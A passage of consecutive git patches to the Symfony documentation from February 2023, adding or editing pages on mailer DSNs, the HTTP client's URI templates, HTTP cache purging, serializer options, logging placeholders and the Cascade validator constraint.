 Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
-Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default
+Mailjet              mailjet+smtp://ACCESS_KEY:SECRET_KEY@default         n/a                                         mailjet+api://ACCESS_KEY:SECRET_KEY@default?sandbox=false
 MailPace             mailpace+api://API_TOKEN@default                     n/a                                         mailpace+api://API_TOKEN@default
 Postmark             postmark+smtp://ID@default                           n/a                                         postmark+api://KEY@default
 Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
@@ -179,6 +179,10 @@ Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a
 Infobip              infobip+smtp://KEY@default                           n/a                                         infobip+api://KEY@BASE_URL
 ==================== ==================================================== =========================================== ========================================
 
+.. versionadded:: 6.3
+
+    The ``sandbox`` option in ``Mailjet`` API was introduced in Symfony 6.3.
+
 .. caution::
 
     If your credentials contain special characters, you must URL-encode them.

From 083dbe85126ffd50138a1aec0a3a22d55a705c53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Feb 2023 18:01:38 +0100
Subject: [PATCH 2970/5766] Tweaks

---
 performance.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/performance.rst b/performance.rst
index 297a1bdec47..7e3499a5732 100644
--- a/performance.rst
+++ b/performance.rst
@@ -220,13 +220,14 @@ deployment process too):
 Disable Dumping the Container as XML in Debug Mode
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In debug mode, Symfony compiles the :doc:`service container </service_container>`
-into an XML file. This XML file is used by various commands such as
-``debug:container`` and ``debug:autowiring``. When the container grows larger and larger,
-so does the size of the file and the time to generate it. Sometimes the benefit of this
-file does not outweigh the decrease in performance.
+In :ref:`debug mode <debug-mode>`, Symfony generates an XML file with all the
+:doc:`service container </service_container>` information (services, arguments, etc.)
+This XML file is used by various debugging commands such as ``debug:container``
+and ``debug:autowiring``.
 
-In these situations, you can disable dumping of the XML file by setting `debug.container.dump` to `false`:
+When the container grows larger and larger, so does the size of the file and the
+time to generate it. If the benefit of this XML file does not outweigh the decrease
+in performance, you can stop generating the file as follows:
 
 .. configuration-block::
 
@@ -258,6 +259,10 @@ In these situations, you can disable dumping of the XML file by setting `debug.c
         // ...
         $container->parameters()->set('debug.container.dump', false);
 
+.. versionadded:: 6.3
+
+    The ``debug.container.dump`` option was introduced in Symfony 6.3.
+
 .. _profiling-applications:
 
 Profiling Symfony Applications

From 2f96fa377a351d29aaa6932acd59522ff7387ddf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 24 Feb 2023 09:52:32 +0100
Subject: [PATCH 2971/5766] Remove obsolete versionadded directive

---
 service_container/tags.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ba16f49734c..044f3ee3842 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -214,11 +214,6 @@ method::
         }
     }
 
-.. versionadded:: 5.3
-
-    The :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
-    method was introduced in Symfony 5.3.
-
 Creating custom Tags
 --------------------
 

From 3528249ced7055104b5c4e2b8f4e6e8bf004eead Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Fri, 24 Feb 2023 19:39:15 +0100
Subject: [PATCH 2972/5766] [PhpUnitBridge] Add an example for
 SYMFONY_PHPUNIT_REQUIRE

---
 components/phpunit_bridge.rst | 21 +++++++++++++++------
 1 file changed, 15 insertions(+), 6 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 62dc3d3cb20..fb583bc31ce 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -938,18 +938,27 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     then set the ``SYMFONY_PHPUNIT_REMOVE`` env var to ``symfony/yaml``.
 
     It's also possible to set this env var in the ``phpunit.xml.dist`` file.
-    
+
 .. tip::
 
     It is also possible to require additional packages that will be installed along
-    the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
+    with the rest of the needed PHPUnit packages using the ``SYMFONY_PHPUNIT_REQUIRE``
     env variable. This is specially useful for installing PHPUnit plugins without
-    having to add them to your main ``composer.json`` file.
+    having to add them to your main ``composer.json`` file. The required packages
+    need to be separated with a space.
 
-.. versionadded:: 5.3
+    .. code-block:: xml
+
+        <!-- phpunit.xml.dist -->
+        <!-- ... -->
+        <php>
+            <env name="SYMFONY_PHPUNIT_REQUIRE" value="vendor/name:^1.2 vendor/name2:^3"/>
+        </php>
+
+    .. versionadded:: 5.3
 
-    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
-    Symfony 5.3.
+        The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
+        Symfony 5.3.
 
 Code Coverage Listener
 ----------------------

From 3ebc24892fc2070ec55a824d0c6260fbf6a108b1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 24 Feb 2023 17:20:31 +0100
Subject: [PATCH 2973/5766] [HttpClient] Add `UriTemplateHttpClient`

---
 http_client.rst | 79 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index e848e10cd21..98ea6612e86 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -155,6 +155,7 @@ Some options are described in this guide:
 * `Redirects`_
 * `Retry Failed Requests`_
 * `HTTP Proxies`_
+* `Using URI Templates`_
 
 Check out the full :ref:`http_client config reference <reference-http-client>`
 to learn about all the options.
@@ -822,6 +823,83 @@ in your requests::
 
 This setting won’t affect other clients.
 
+Using URI Templates
+~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` provides
+a client that eases the use of URI templates, as described in the `RFC 6570`_.
+Here is an example of how to use this client with URI templates::
+
+    $client = new UriTemplateHttpClient();
+
+    // This request will result on querying http://example.org/users?page=1
+    $client->request('GET', 'http://example.org/{resource}{?page}', [
+        'vars' => [
+            'resource' => 'users',
+            'page' => 1,
+        ],
+    ]);
+
+When using this client in the framework context, all existing HTTP clients
+are decorated by the :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient`.
+This means that URI template feature is enabled by default for all HTTP clients
+you may use in your application.
+
+You can configure variables that will be replaced globally in all URI templates
+of your application:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            http_client:
+                default_options:
+                    vars:
+                        - secret: 'secret-token'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:default-options>
+                        <framework:vars name="secret">secret-token</framework:vars>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->httpClient()
+                ->defaultOptions()
+                    ->vars(['secret' => 'secret-token'])
+            ;
+        };
+
+If you want to define your own logic to handle variables of URI templates, you
+can do so by redefining the ``http_client.uri_template_expander`` alias. Your
+service must be invokable.
+
+.. versionadded:: 6.3
+
+    The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was
+    introduced in Symfony 6.3.
+
 Performance
 -----------
 
@@ -2055,3 +2133,4 @@ you to do so, by yielding the exception from its body::
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods
 .. _`SSRF`: https://portswigger.net/web-security/ssrf
+.. _`RFC 6570`: https://www.rfc-editor.org/rfc/rfc6570

From 7ae2f9409fcd17bd4f5b425551772c299959c94a Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 26 Feb 2023 03:19:25 +0100
Subject: [PATCH 2974/5766] [HttpCache] Inject $env in example

---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 949e95acf4e..3a2d6c1b427 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -114,7 +114,7 @@ Use the ``framework.http_cache`` option to enable the proxy for the
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) use ($env) {
+        return static function (FrameworkConfig $framework, string $env) {
             if ('prod' === $env) {
                 $framework->httpCache()->enabled(true);
             }

From e41d827047bb9f2d8900f0af3431c1b3969c4fb3 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 26 Feb 2023 12:36:40 +0100
Subject: [PATCH 2975/5766] [EventDispatcher] Add example of
 ``#[AsEventListener]`` on methods

---
 event_dispatcher.rst | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 97d70af9598..51c51fa9102 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -191,6 +191,40 @@ You can add multiple ``#[AsEventListener()]`` attributes to configure different
         }
     }
 
+:class:`Symfony\\Component\\EventDispatcher\\Attribute\\AsEventListener`
+can also be applied to methods directly::
+
+    namespace App\EventListener;
+
+    use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
+
+    final class MyMultiListener
+    {
+        #[AsEventListener()]
+        public function onCustomEvent(CustomEvent $event): void
+        {
+            // ...
+        }
+
+        #[AsEventListener(event: 'foo', priority: 42)]
+        public function onFoo(): void
+        {
+            // ...
+        }
+
+        #[AsEventListener(event: 'bar')]
+        public function onBarEvent(): void
+        {
+            // ...
+        }
+    }
+
+.. note::
+
+    You can notice that the attribute doesn't require its ``event``
+    parameter to be set if the method already type-hints the
+    expected event.
+
 .. _events-subscriber:
 
 Creating an Event Subscriber

From 34809dde62fbf08baa68646f9664d10713fc7a8e Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 26 Feb 2023 17:31:21 +0100
Subject: [PATCH 2976/5766] [HttpCache] Explain how to extend the HttpCache
 class

---
 http_cache/cache_invalidation.rst | 57 +++++++++++++++++++++++++++++--
 1 file changed, 55 insertions(+), 2 deletions(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 6a11a1fdc78..c6df4fd85c0 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -47,8 +47,9 @@ the word "PURGE" is a convention, technically this can be any string) instead
 of ``GET`` and make the cache proxy detect this and remove the data from the
 cache instead of going to the application to get a response.
 
-Here is how you can configure the Symfony reverse proxy (See :doc:`/http_cache`)
-to support the ``PURGE`` HTTP method::
+Here is how you can configure the :ref:`Symfony reverse proxy <symfony-gateway-cache>`
+to support the ``PURGE`` HTTP method. First create a caching kernel that overrides the
+:method:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache::invalidate` method::
 
     // src/CacheKernel.php
     namespace App;
@@ -84,6 +85,58 @@ to support the ``PURGE`` HTTP method::
         }
     }
 
+Then, register the class as a service that :doc:`decorates </service_container/service_decoration>`
+``http_cache``::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\CacheKernel:
+                decorates: http_cache
+                arguments:
+                    - '@kernel'
+                    - '@http_cache.store'
+                    - '@?esi'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <service id="App\CacheKernel" decorates="http_cache">
+                <argument type="service" id="kernel"/>
+                <argument type="service" id="http_cache.store"/>
+                <argument type="service" id="esi" on-invalid="null"/>
+            </service>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\CacheKernel;
+
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(CacheKernel::class)
+                ->decorate('http_cache')
+                ->args([
+                    service('kernel'),
+                    service('http_cache.store'),
+                    service('esi')->nullOnInvalid(),
+                ])
+            ;
+        };
+
 .. caution::
 
     You must protect the ``PURGE`` HTTP method somehow to avoid random people

From 88c1924bd56cbcee5309611debe904b01a8bf4c3 Mon Sep 17 00:00:00 2001
From: Daniel Rotter <daniel.rotter@gmail.com>
Date: Sun, 26 Feb 2023 20:49:25 +0100
Subject: [PATCH 2977/5766] Fix the referencing of the redis transport in an
 explanation

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 49c4768ab0e..d6f4c791112 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -709,7 +709,7 @@ and ``user`` to the Unix user on your server.
 If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
-file, which you can then refer to in ``messenger.yaml`` (see Redis section above):
+file, which you can then refer to in ``messenger.yaml`` (see Redis section below):
 
 .. code-block:: ini
 

From 2cbf0a42745dd126e01185a30738eae9938d5800 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Feb 2023 12:33:53 +0100
Subject: [PATCH 2978/5766] Tweak

---
 http_client.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 98ea6612e86..d4781429d17 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -827,12 +827,11 @@ Using URI Templates
 ~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` provides
-a client that eases the use of URI templates, as described in the `RFC 6570`_.
-Here is an example of how to use this client with URI templates::
+a client that eases the use of URI templates, as described in the `RFC 6570`_::
 
     $client = new UriTemplateHttpClient();
 
-    // This request will result on querying http://example.org/users?page=1
+    // this will make a request to the URL http://example.org/users?page=1
     $client->request('GET', 'http://example.org/{resource}{?page}', [
         'vars' => [
             'resource' => 'users',

From 33bd2d64958c5034240d0c589321ce6e803ee21e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Feb 2023 13:06:39 +0100
Subject: [PATCH 2979/5766] Reorder versionadded directives

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 4b393aad5d2..32f74099c91 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -114,16 +114,16 @@ Infobip             ``composer require symfony/infobip-mailer``
 MailerSend          ``composer require symfony/mailersend-mailer``
 ==================  ==============================================
 
-.. versionadded:: 6.3
-
-    The MailerSend integration was introduced in Symfony 6.3.
-
 .. versionadded:: 6.2
 
     The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
     integration was renamed in Symfony 6.2 (in previous Symfony versions it was
     called ``OhMySMTP``).
 
+.. versionadded:: 6.3
+
+    The MailerSend integration was introduced in Symfony 6.3.
+
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer

From 122c3df7b45a11e14b826066660b8209ab0160b2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Feb 2023 13:08:09 +0100
Subject: [PATCH 2980/5766] [Mailer] Sort providers alphabetically

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 7ed34fb375b..be0414c3f56 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -115,10 +115,10 @@ Amazon SES          ``composer require symfony/amazon-mailer``
 MailChimp           ``composer require symfony/mailchimp-mailer``
 Mailgun             ``composer require symfony/mailgun-mailer``
 Mailjet             ``composer require symfony/mailjet-mailer``
+OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 Postmark            ``composer require symfony/postmark-mailer``
 SendGrid            ``composer require symfony/sendgrid-mailer``
 Sendinblue          ``composer require symfony/sendinblue-mailer``
-OhMySMTP            ``composer require symfony/oh-my-smtp-mailer``
 ==================  ==============================================
 
 .. note::

From 1b0e274848be1ca7830b1b491d20557a535fbdff Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@digital-craftsman.de>
Date: Tue, 28 Feb 2023 08:46:51 +0100
Subject: [PATCH 2981/5766] Add feature description

---
 components/serializer.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index aecf25fea4f..f707b558590 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1242,6 +1242,30 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
+Preventing ``null`` value fallback for nullable properties
+----------------------------------------------------------
+
+By default, the Serializer will add `null` to nullable properties when the parameters for those are not provided.
+You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+to ``true``::
+
+    class Dummy {
+        public function __construct(
+            public string $foo,
+            public ?string $bar,
+        )
+    }
+
+    $data = ['foo' => 'notNull'];
+
+    $normalizer = new ObjectNormalizer();
+    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::PREVENT_NULLABLE_FALLBACK => true]);
+    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
+
+.. versionadded:: 6.3
+
+    The context flag was introduced in Symfony 6.3.
+
 Skipping Uninitialized Properties
 ---------------------------------
 

From 0b49d9beb10535711d4af54e57a23842a039b537 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@digital-craftsman.de>
Date: Tue, 28 Feb 2023 08:51:53 +0100
Subject: [PATCH 2982/5766] Fix broken code example

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f707b558590..abd324a133a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1253,7 +1253,8 @@ to ``true``::
         public function __construct(
             public string $foo,
             public ?string $bar,
-        )
+        ) {
+        }
     }
 
     $data = ['foo' => 'notNull'];

From fcc67c9098c3531e5f095bf9f7faf9def4f0d4b9 Mon Sep 17 00:00:00 2001
From: Alan Poulain <contact@alanpoulain.eu>
Date: Mon, 27 Feb 2023 16:21:09 +0100
Subject: [PATCH 2983/5766] docs(logging): add placeholders for dynamic data

---
 logging.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/logging.rst b/logging.rst
index f25486c520d..4bbaf03dfb1 100644
--- a/logging.rst
+++ b/logging.rst
@@ -32,6 +32,15 @@ To log a message, inject the default logger in your controller or service::
         $logger->info('I just got the logger');
         $logger->error('An error occurred');
 
+        // log messages can also contain placeholders (wrap the placeholder name with braces)
+        // these placeholders are useful for logging tools, which can aggregate log messages
+        // that are the same except for some variable values inside them, for translation
+        // systems in order to create localized messages, and for security because escaping
+        // can then be done by the implementation in a context-aware fashion
+        $logger->debug('User {userId} has logged in', [
+            'userId' => $this->getUserId(),
+        ]);
+
         $logger->critical('I left the oven on!', [
             // include extra "context" info in your logs
             'cause' => 'in_hurry',

From b7c362bc6a71986401e945e03e1b1d5f92c43042 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 28 Feb 2023 09:39:57 +0100
Subject: [PATCH 2984/5766] use more precise link httpkernel

---
 components/http_kernel.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 3cc8059f5e6..21207bf1b1c 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -131,10 +131,10 @@ listeners to the events discussed below::
     // trigger the kernel.terminate event
     $kernel->terminate($request, $response);
 
-See ":ref:`http-kernel-working-example`" for a more concrete implementation.
+See ":ref:`A full working example <http-kernel-working-example>`" for a more concrete implementation.
 
 For general information on adding listeners to the events below, see
-:ref:`http-kernel-creating-listener`.
+:ref:`Creating an Event Listener <http-kernel-creating-listener>`.
 
 .. seealso::
 
@@ -229,7 +229,7 @@ This implementation is explained more in the sidebar below::
 
     interface ControllerResolverInterface
     {
-        public function getController(Request $request);
+        public function getController(Request $request): callable|false;
     }
 
 Internally, the ``HttpKernel::handle()`` method first calls

From b665eeb361d9becc7c6949f8c7250cbe6149d45d Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Tue, 28 Feb 2023 09:40:39 +0100
Subject: [PATCH 2985/5766] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index abd324a133a..bca997b235d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1265,7 +1265,8 @@ to ``true``::
 
 .. versionadded:: 6.3
 
-    The context flag was introduced in Symfony 6.3.
+    The ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+    was introduced in Symfony 6.3.
 
 Skipping Uninitialized Properties
 ---------------------------------

From e1f5d7c0c465be18f7766f7c24a065c10b6d2c03 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Tue, 28 Feb 2023 09:41:01 +0100
Subject: [PATCH 2986/5766] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bca997b235d..1befe4b5c7a 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1245,7 +1245,7 @@ to ``true``::
 Preventing ``null`` value fallback for nullable properties
 ----------------------------------------------------------
 
-By default, the Serializer will add `null` to nullable properties when the parameters for those are not provided.
+By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
 You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
 to ``true``::
 

From 3b24418e4e3b3a02a513a5a1f1a39d7fc6de7ba6 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Tue, 28 Feb 2023 09:41:09 +0100
Subject: [PATCH 2987/5766] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 1befe4b5c7a..e9f60fdbcbc 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1249,7 +1249,8 @@ By default, the Serializer will add ``null`` to nullable properties when the par
 You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
 to ``true``::
 
-    class Dummy {
+    class Dummy
+    {
         public function __construct(
             public string $foo,
             public ?string $bar,

From 1c33f40cca194308d879ad8e7262304b3b5196a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 28 Feb 2023 14:49:23 +0100
Subject: [PATCH 2988/5766] Reword

---
 logging.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/logging.rst b/logging.rst
index 4bbaf03dfb1..dfc184c15d7 100644
--- a/logging.rst
+++ b/logging.rst
@@ -32,11 +32,8 @@ To log a message, inject the default logger in your controller or service::
         $logger->info('I just got the logger');
         $logger->error('An error occurred');
 
-        // log messages can also contain placeholders (wrap the placeholder name with braces)
-        // these placeholders are useful for logging tools, which can aggregate log messages
-        // that are the same except for some variable values inside them, for translation
-        // systems in order to create localized messages, and for security because escaping
-        // can then be done by the implementation in a context-aware fashion
+        // log messages can also contain placeholders, which are variable names
+        // wrapped in braces whose values are passed as the second argument
         $logger->debug('User {userId} has logged in', [
             'userId' => $this->getUserId(),
         ]);
@@ -49,6 +46,14 @@ To log a message, inject the default logger in your controller or service::
         // ...
     }
 
+Adding placeholders to log messages is recommended because:
+
+* It's easier to check log messages because many logging tools group log messages
+  that are the same except for some variable values inside them;
+* It's much easier to translate those log messages;
+* It's better for security, because escaping can then be done by the
+  implementation in a context-aware fashion.
+
 The ``logger`` service has different methods for different logging levels/priorities.
 See `LoggerInterface`_ for a list of all of the methods on the logger.
 

From 5dd6f2c53d457086697a49dad5dacf6100ae3f41 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Feb 2023 21:51:52 +0100
Subject: [PATCH 2989/5766] [Validator] Add `Cascade` constraint documentation

---
 reference/constraints/Cascade.rst | 120 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 121 insertions(+)
 create mode 100644 reference/constraints/Cascade.rst

diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
new file mode 100644
index 00000000000..c4127e6c9dc
--- /dev/null
+++ b/reference/constraints/Cascade.rst
@@ -0,0 +1,120 @@
+Cascade
+=======
+
+.. versionadded:: 5.2
+
+    The :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` was
+    introduced in Symfony 5.2 and requires PHP 7.4.
+
+The Cascade constraint is used to validate a whole class. It allows to
+omit to add the :doc:`/reference/constraints/Valid` constraint on each
+child object of your class you want to validate.
+
+==========  ===================================================================
+Applies to  :ref:`class <validation-class-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cascade`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the
+:class:`Symfony\\Component\\Validator\\Constraints\\Cascade` constraint
+will tell the validator to validate all fields of the class, including
+constraints that are set in the child classes ``BookMetadata`` and
+``Author``:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Assert\Cascade
+         */
+        class BookCollection
+        {
+            /**
+             * @Assert\NotBlank
+             */
+            protected $name = '';
+
+            public BookMetadata $metadata;
+
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Cascade]
+        class BookCollection
+        {
+            #[Assert\NotBlank]
+            protected $name = '';
+
+            public BookMetadata $metadata;
+
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BookCollection:
+            constraints:
+                - Cascade: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BookCollection">
+                <constraint name="Cascade"/>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BookCollection
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new Assert\Cascade());
+            }
+        }
+
+Options
+-------
+
+The ``groups`` option is not available for this constraint.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f8eb4b8c3f..a0c1324dd1e 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -96,6 +96,7 @@ Other Constraints
 * :doc:`Expression </reference/constraints/Expression>`
 * :doc:`All </reference/constraints/All>`
 * :doc:`Valid </reference/constraints/Valid>`
+* :doc:`Cascade </reference/constraints/Cascade>`
 * :doc:`Traverse </reference/constraints/Traverse>`
 * :doc:`Collection </reference/constraints/Collection>`
 * :doc:`Count </reference/constraints/Count>`

From 90b157dc905ddb9a38acfef4076ccea5d5c719e4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Feb 2023 22:03:01 +0100
Subject: [PATCH 2990/5766] [HttpClient] Mention list of callbacks for
 `MockHttpClient`

---
 http_client.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)
